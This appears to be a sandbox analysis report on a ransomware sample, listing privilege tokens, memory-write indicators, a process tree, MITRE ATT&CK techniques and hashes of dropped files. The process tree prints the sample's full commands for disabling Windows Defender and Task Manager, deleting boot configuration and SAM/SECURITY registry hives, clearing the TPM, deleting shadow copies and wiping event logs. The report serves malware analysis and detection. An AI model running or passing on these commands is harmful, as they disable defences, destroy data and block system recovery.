Token: SeProfSingleProcessPrivilege	5020	wmic.exe
Token: SeIncBasePriorityPrivilege	5020	wmic.exe
Token: SeCreatePagefilePrivilege	5020	wmic.exe
Token: SeBackupPrivilege	5020	wmic.exe
Token: SeRestorePrivilege	5020	wmic.exe
Token: SeShutdownPrivilege	5020	wmic.exe
Token: SeDebugPrivilege	5020	wmic.exe
Token: SeSystemEnvironmentPrivilege	5020	wmic.exe
Token: SeRemoteShutdownPrivilege	5020	wmic.exe
Token: SeUndockPrivilege	5020	wmic.exe
Token: SeManageVolumePrivilege	5020	wmic.exe
Token: 33	5020	wmic.exe
Token: 34	5020	wmic.exe
Token: 35	5020	wmic.exe
Token: 36	5020	wmic.exe

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 1832 wrote to memory of 5656	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	89
PID 1832 wrote to memory of 4256	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	91
PID 1832 wrote to memory of 1504	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	93
PID 1832 wrote to memory of 4604	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	95
PID 1832 wrote to memory of 2948	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	97
PID 1832 wrote to memory of 5704	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	99
PID 1832 wrote to memory of 2708	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	101
PID 1832 wrote to memory of 3180	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	103
PID 1832 wrote to memory of 5000	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	105
PID 1832 wrote to memory of 4916	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	107
PID 1832 wrote to memory of 4852	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	109
PID 1832 wrote to memory of 5336	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	111
PID 1832 wrote to memory of 2220	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	113
PID 1832 wrote to memory of 5408	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	115
PID 1832 wrote to memory of 4320	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	117
PID 1832 wrote to memory of 1796	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	120
PID 1796 wrote to memory of 3336	1796	cmd.exe	122
PID 1832 wrote to memory of 4892	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	123
PID 1832 wrote to memory of 5564	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	126
PID 1832 wrote to memory of 52	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	128
PID 1832 wrote to memory of 240	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	130
PID 1832 wrote to memory of 1620	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	132
PID 1832 wrote to memory of 3560	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	134
PID 1832 wrote to memory of 2936	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	136
PID 1832 wrote to memory of 3260	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	138
PID 1832 wrote to memory of 3360	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	140
PID 1832 wrote to memory of 2812	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	141
PID 1832 wrote to memory of 1072	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	142
PID 1832 wrote to memory of 1648	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	143
PID 1832 wrote to memory of 2480	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	148
PID 1832 wrote to memory of 4844	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	150
PID 1832 wrote to memory of 3588	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	152
PID 1832 wrote to memory of 3248	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	154
PID 1832 wrote to memory of 1300	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	156
PID 1832 wrote to memory of 2020	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	158
PID 1832 wrote to memory of 1440	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	160
PID 1832 wrote to memory of 6096	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	162
PID 1832 wrote to memory of 5112	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	164
PID 1832 wrote to memory of 5672	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	166
PID 1832 wrote to memory of 1872	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	167
PID 1832 wrote to memory of 4480	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	168
PID 1832 wrote to memory of 4796	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	172
PID 1832 wrote to memory of 1552	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	174
PID 1832 wrote to memory of 5020	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	176
PID 1832 wrote to memory of 5004	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	179
PID 1832 wrote to memory of 2600	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	178
PID 1832 wrote to memory of 5392	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	182
PID 1832 wrote to memory of 3604	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	184
PID 1832 wrote to memory of 5496	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	186
PID 1832 wrote to memory of 4584	1832	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	188

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Sets desktop wallpaper using registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1832
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" "/v" "DisableTaskMgr" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  PID:5656
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" "/v" "DisableTaskMgr" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  PID:4256
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" "/v" "DisableAntiSpyware" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:1504
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" "/v" "DisableRealtimeMonitoring" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4604
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" "/v" "DisableBehaviorMonitoring" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2948
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "WinDefend"
  2⤵
  - Launches sc.exe
  PID:5704
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "WinDefend" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:2708
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "Sense"
  2⤵
  - Launches sc.exe
  PID:3180
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "Sense" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:5000
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "WdNisSvc"
  2⤵
  - Launches sc.exe
  PID:4916
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "WdNisSvc" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:4852
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "WdBoot"
  2⤵
  - Launches sc.exe
  PID:5336
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "WdBoot" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:2220
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "WdFilter"
  2⤵
  - Launches sc.exe
  PID:5408
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "WdFilter" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:4320
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" "/c" "reg" "delete" "HKLM\BCD00000000" "/f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\system32\reg.exe
    "reg" "delete" "HKLM\BCD00000000" "/f
    3⤵
    PID:3336
- C:\Windows\SYSTEM32\reagentc.exe
  "reagentc" "/disable"
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:4892
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "recoveryenabled" "No"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5564
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "nx" "AlwaysOff"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:52
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "pae" "ForceDisable"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:240
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "bootlog" "Yes"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1620
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "noserialmice" "Yes"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3560
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "safeboot" "Minimal"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2936
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "safebootalternateshell" "yes"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3260
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/delete" "{current}" "/f"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3360
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/delete" "{bootmgr}" "/f"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2812
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/delete" "{memdiag}" "/f"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1072
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SAM\SAM" "/f"
  2⤵
  PID:1648
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SAM\Domains" "/f"
  2⤵
  PID:2480
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SYSTEM\CurrentControlSet\Services" "/f"
  2⤵
  - Modifies firewall policy service
  - Modifies security service
  - Maps connected drives based on registry
  PID:4844
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" "/f"
  2⤵
  PID:3588
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SYSTEM\CurrentControlSet\Control" "/v" "SystemStartOptions" "/t" "REG_SZ" "/d" "GARBAGE" "/f"
  2⤵
  PID:3248
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" "/f"
  2⤵
  - Adds Run key to start application
  PID:1300
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" "/f"
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  - Indicator Removal: Clear Persistence
  PID:2020
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SECURITY\Policy" "/f"
  2⤵
  PID:1440
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\DEFAULT\Software" "/f"
  2⤵
  PID:6096
- C:\Windows\SYSTEM32\fsutil.exe
  "fsutil" "dirty" "set" "C:"
  2⤵
  PID:5112
- C:\Windows\SYSTEM32\tpmtool.exe
  "tpmtool" "clear"
  2⤵
  PID:5672
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" "/namespace:\\root\cimv2\security\microsofttpm" "path" "Win32_Tpm" "call" "Clear"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1872
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "VSS"
  2⤵
  - Launches sc.exe
  PID:4480
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "VSS" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:4796
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin" "delete" "shadows" "/all" "/quiet"
  2⤵
  - Interacts with shadow copies
  PID:1552
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" "shadowcopy" "delete"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5020
- C:\Windows\SYSTEM32\sc.exe
  "sc" "query" "type=" "service" "state=" "all"
  2⤵
  - Launches sc.exe
  PID:2600
- C:\Windows\SYSTEM32\wevtutil.exe
  "wevtutil" "cl" "Application"
  2⤵
  PID:5004
- C:\Windows\SYSTEM32\wevtutil.exe
  "wevtutil" "cl" "System"
  2⤵
  PID:5392
- C:\Windows\SYSTEM32\wevtutil.exe
  "wevtutil" "cl" "Security"
  2⤵
  PID:3604
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" "computersystem" "set" "AutomaticManagedPagefile=False"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5496
- C:\Windows\SYSTEM32\powercfg.exe
  "powercfg" "/h" "off"
  2⤵
  - Power Settings
  PID:4584

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4828

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Power Settings

T1653

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

logs.txt

Path C:\Users\Admin\Desktop\logs.txt
Size 404B
SHA256 dcfcd5750372c2aef7d9aec15151883ce247b323142251f946496ed6a03852d9
MD5 47f80c7b01c21ad851867601bcb4e40e
SHA1 96cd1424e8ee48a4bb114140ee27356c88f22532
SHA512 df68ce9dadad5d032b5a4f4b044cd358a5d6cd7b15c0fbbee9a3f0bdce223a2d6500ccfade6afb09ea380acce4a600884c8682ae26e6b507f935189c970dad36
TLSH
T1C5E01A77D4F3490E4FA22675B5701C334E01238BA250232143B9639A5DDF44F89AC07F
MD5 SHA1 SHA512 TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 2KB
SHA256 adb4a36b03d17c42168a3ff8f1ad8e41f0e914f14d5dbef687ab39cd0183726a
MD5 029f06f4ec0288bc424b26a0a6fd6f40
SHA1 903c020b8360b06d3e36cd237e481584d90b6751
SHA512 fff7c76f82ae2a56a534734b3f8f237263a7237a3b8fd759ee5cf93b4dc7b1c009f3a7052220a320465a91bf0618c20e6c685ce4800099047965b7f05bc5148b
TLSH
T1744107338F2642717655C734F969484ED5C3A2E8574D701CFA3FA119AB0A30BCADD88E
MD5 SHA1 SHA512 TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 12KB
SHA256 1c01e26ccf0f7482cbcc13f114c9f567a5d05f3a3b783d3207218ac3e9dde01a
MD5 f7a1d6eefed3e19055494b130f6705ca
SHA1 8891e72ccfe8b5195e44dce18809bb63fd99be26
SHA512 31c0774a03e1d56e4e581d1ebb2c802f09f8826b2bdba50e6e0ac4af7833b068950c11554d508bdca8b63decfcb82013d8d86ace20226c06a0063ab41dc8abb8
SSDEEP 192:53gbq3gbq3gbHWGt9M/1LHrw/rB0M3gbq3gbq3gbD:53Iq3Iq3ILko3Iq3Iq3ID
TLSH
T18342A829B1992EBB5C9446F9DFD038C26F8097794106A03795C4FEAFA279042F5B07CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagwrn.xml

Path C:\Windows\Panther\UnattendGC\diagwrn.xml
Size 12KB
SHA256 e74a54938f9fa202d217c376e6d59c65c779b34ff4f43c99efe42d7f1726253c
MD5 a16505d9d25ffbde8623efe080fd39c5
SHA1 ed2879f88111b0151b670cc328224a7ba72a463b
SHA512 f36412f47ac109a8b738836b83db9fe29b75f71d92d4cbdc0db89ba8ae5776128cd2049280a1af43858448d7385201fc04709cd9dace5421c081c289de1a5c14
SSDEEP 192:53gbq3gbECcdOcmZmUmLr3gbY3gbq3gbq3gbD:53Iq3ILcn3IY3Iq3Iq3ID
TLSH
T13B42F439B1982EBB5C9046F8DFD038C26B8097794106A03795C4FEAFA279042F5B17DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReAgent.xml

Path C:\Windows\System32\Recovery\ReAgent.xml
Size 1KB
SHA256 07f0adce301905f1b9b29e7ee60ec456c81c46a58fe747000f64972a3f669e90
MD5 0d83672014b0c83cf8f0ceaa44df770b
SHA1 e304f10167e244864a65db535cfcb39a879e8963
SHA512 001306eb9a8a5aee8637c619db6dd6dd6ff31b5573fca8872414a7cf734d617bb3e833f978a7928d292120ac9da91c2de729090bac92a0d62572cf0465ebf6e8
TLSH
T12E11B64A81B858A6C7B1D266F0F8BD60863FF1DD02E08A5CA029F6D39447462CB5F9B0
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1832-61-0x00007FF73C120000-0x00007FF73C24A000-memory.dmp

Download

memory/1832-62-0x00007FF73C120000-0x00007FF73C24A000-memory.dmp

Download